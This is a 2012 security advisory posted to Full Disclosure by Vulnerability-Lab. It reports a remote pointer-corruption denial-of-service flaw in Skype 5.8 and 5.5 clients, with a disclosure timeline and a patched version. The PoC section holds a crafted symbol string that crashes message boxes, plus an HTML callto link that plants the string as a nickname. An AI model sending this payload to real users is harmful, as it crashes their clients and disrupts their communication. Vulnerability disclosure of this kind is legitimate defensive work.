Full Disclosure: Skype 5.8x 5.5x - Corruption & Persistent Vulnerability

[Research <research () vulnerability-lab com>]

Title:
======
Skype 5.8x 5.5x - Corruption & Persistent Vulnerability


Date:
=====
2012-03-29


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=455

MRSC ID: 12250

VIDEO: http://vulnerability-lab.com/get_content.php?id=457     ;)


VL-ID:
=====
455


Introduction:
=============
Skype is a software application that allows users to make voice and video calls and chats over the Internet. Calls to 
other users within the
Skype service are free, while calls to both traditional landline telephones and mobile phones can be made for a fee 
using a debit-based
user account system. Skype has also become popular for its additional features which include instant messaging, file 
transfer, and
videoconferencing. Skype has 663 million registered users as of 2010.  The network is operated by Skype Limited, which 
has its headquarters
in Luxembourg. Most of the development team and 44% of the overall employees of Skype are situated in the offices of 
Tallinn and Tartu, Estonia.

(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/Skype)


Abstract:
=========
The Vulnerability-Lab Team discovered a remote pointer corruption with persistent weakness on Skypes  v5.8.0.156  
Windows 7 &  MacOS v5.5.2340.


Report-Timeline:
================
2012-02-24:     Vendor Notification
2012-02-25:     Vendor Response/Feedback
2012-03-20:     Vendor Fix/Patch by Check
2012-03-29:     Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Skype Windows, MacOs & Linux


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
A pointer corruption vulnerability is detected on the windows v5.6.59.10 & macos v5.5.2340 client of the skype 
software. 
The bug is located in the software when processing special crafted symbole messages via communication box. The 
vulnerability 
allows an attacker to freeze, block, crash or destroy the communication messagebox of the connected conference 
persons/teams. 
The bug also has an persistent weakness vector which allows an remote attacker to implement the symbole string to the 
contact 
user requests messagebox. The result is also a stable persistent error message and a client denial of service. 
Attackers can 
also implement the test poc to the group labelname which results in a stable group error with different exceptions. The 
facebook 
integration allows to sync the account with skype and can also redisplay the issue with the error via facebook module 
and wallposting.
The callto function allows an attacker to implement the issue persistent on a victim user profile by using the symbole 
string as nickname.

Vulnerable Module(s):
                                                [+] MessageBox & Request Contact
                                                [+] Contact Request Messagebox - Add Skype User
                                                [+] Group Topic & Group Information Name
                                                [+] Facebook integration - Connect Account Wall Postings

Affected OS version(s):
                                                [+] Windows v5.8.0.156, MacOS 5.5.0.2340 & Linux 2.2 Beta 


Picture(s):
                                                ../1.png
                                                ../2.png
                                                ../3.png
                                                ../4.png
                                                ../5.png
                                                ../6.png
                                                ../7.png
                                                ../8.png
                                                ../9.png
                                                ../10.png
                                                ../11.png
                                                ../12.png
                                                ../13.png
                                                ../14.png
                                                ../5.png
                                                ../6.png
                                                ../7.png
                                                ../8.png
                                                ../9.png
                                                ../10.png
                                                ../11.png
                                                ../12.png
                                                ../13.png


The vulnerability can be exploited by remote attackers with & without required user inter action. For demonstration or 
reproduce ...

PoC:

็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็็็็็็็็็-็็็็็็็ 
็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็ ¬็็็็ส็็็็็็็็็็็็็¬็็็็ 
็็็็็็็็¬ส็็็็็็็็็็็็็็็็-็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็ 
¬็็็็็็ส็็็็็็็¬ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็¬¬็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็¬็ 

or as callto link:

<!--
Skype 'Skype Me™!' button
http://www.skype.com/go/skypebuttons
-->
<script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js";></script>
<a href="skype:?<!--
Skype 'Skype Me™!' button
http://www.skype.com/go/skypebuttons
-->
<script type="text/javascript" src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js";></script>
<a href="
skype:็¬็ส็็็็็ -็็็็็็็็็็็็็็็็็็็็ส็¬็็็็็็็็¬็็็็็็็็็็็็็็็็ส็็็็¬็็็็็็็็็-็็็็็็็ 
็็็็็ส็็็็็็็¬็็็็็็็็็็¬็็็็็็็็ส็็็็็็็็็็¬็็็็็็็็็็็ ¬็็็็ส็็็็็็็็็็็็็¬็็็็ 
็็็็็็็็¬ส็็็็็็็็็็็็็็็็-็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็ 
¬็็็็็็ส็็็็็็็¬ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็¬¬็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็¬็ ?call
"><img src="http://download.skype.com/share/skypebuttons/buttons/call_blue_white_124x52.png"; style="border: none;" 
width="124" 
height="52" alt="Skype Me™!" /></a>
 ?call"><img src="http://download.skype.com/share/skypebuttons/buttons/call_blue_white_124x52.png"; style="border: 
none;" 
width="124" height="52" alt="Skype Me™!" /></a>



Reference(s):
                                                ../poc1.txt
                                                ../poc2.txt
                                                ../callto.txt

Solution:
=========
The attack vector has been removed in the old version (5.8.0.156) via hotfix and the issue is addressed by skype.

Update to Skype v5.8.0.158


Risk:
=====
The security risk of the remote denial of service vulnerability via pointer corruption is estimated as high(-).


Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve), Alexander Fuchs (f0x23) & Ucha Gobejishvili


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all 
warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. 
Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss 
of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such 
damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation 
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from 
Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, 
including the use of 
other media, are reserved by Vulnerability-Lab or its suppliers.

                                                Copyright © 2012|Vulnerability-Lab

-- 
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research () vulnerability-lab com


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